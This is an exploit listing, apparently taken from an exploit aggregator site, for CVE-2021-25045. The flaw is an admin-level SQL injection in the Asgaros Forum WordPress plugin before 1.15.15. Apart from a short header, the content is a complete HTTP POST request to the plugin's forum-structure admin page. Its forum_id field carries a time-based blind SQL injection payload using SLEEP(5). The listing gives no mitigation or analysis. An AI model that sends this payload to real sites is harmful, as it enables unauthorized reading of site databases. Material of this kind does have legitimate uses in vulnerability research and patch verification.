Exploit for Asgaros Forum < 1.15.15 - Admin+ SQL Injection via forum_id CVE-2021-25045

Name: Exploit for Asgaros Forum < 1.15.15 - Admin+ SQL Injection via forum_id CVE-2021-25045
Rating: 5 (262 reviews)

2021-12-21 | CVSS 6.5

## https://sploitus.com/exploit?id=WPEX-ID:C60A3D40-449C-4C84-8D13-68C04267C1D7
POST /wp-admin/admin.php?page=asgarosforum-structure HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 289
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

_wpnonce=bc051820af&forum_id=1%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)&forum_category=79&forum_parent_forum=0&forum_name=First+Forum&forum_description=My+first+forum.&forum_parent=79_0&forum_icon=fas+fa-comments&forum_status=normal&forum_order=1&af-create-edit-forum-submit=Save